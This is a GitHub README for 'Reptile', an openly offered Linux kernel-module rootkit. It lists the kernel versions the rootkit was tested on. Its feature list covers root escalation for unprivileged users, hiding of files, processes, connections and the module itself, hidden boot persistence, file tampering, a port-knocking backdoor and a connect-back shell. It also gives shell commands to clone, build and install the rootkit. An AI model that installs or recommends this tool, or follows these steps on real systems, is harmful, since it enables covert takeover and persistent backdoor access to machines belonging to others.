Reptile

github.com/f0rb1dd3n/Reptile

f0rb1dd3n

f0rb1dd3n/**Reptile**

LKM Linux rootkit

7 Contributors | 24 Issues | 2k Stars | 483 Forks

Tested on

Debian 9: 4.9.0-8-amd64
Debian 10: 4.19.0-8-amd64
Ubuntu 18.04.1 LTS: 4.15.0-38-generic
Kali Linux: 4.18.0-kali2-amd64
Centos 6.10: 2.6.32-754.6.3.el6.x86_64
Centos 7: 3.10.0-862.3.2.el7.x86_64
Centos 8: 4.18.0-147.5.1.el8_1.x86_64

Features

- Give root to unprivileged users
- Hide files and directories
- Hide processes
- Hide himself
- Hide TCP/UDP connections
- Hidden boot persistence
- File content tampering
- Some obfuscation techniques
- ICMP/UDP/TCP port-knocking backdoor
- Full TTY/PTY shell with file transfer
- Client to handle Reptile Shell
- Shell connect back each X times (not default)

Install

```
apt install build-essential libncurses-dev linux-headers-$(uname -r)
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig           # or 'make config' or even 'make defconfig'
make
make install
```

More details about the installation see Wiki

Uninstall

When you got a sucessfully installation, the way to remove that will be shown in the screen

Usage

See Wiki to usage details. So, read the fucking manual before opening an issue!

Warning

Some functions of this module is based on another rootkits. Please see the references!

References

- “LKM HACKING”, The Hackers Choice (THC), 1999;
- https://github.com/mncoppola/suterusu
- https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git
- https://github.com/creaktive/tsh
- https://github.com/brenns10/lsh

Thanks

Special thanks to my friend Ilya V. Matveychikov for the KHOOK framework and kmatryoshka loader.

Disclaimer

If you wanna more information, send me an e-mail: f0rb1dd3n@tuta.io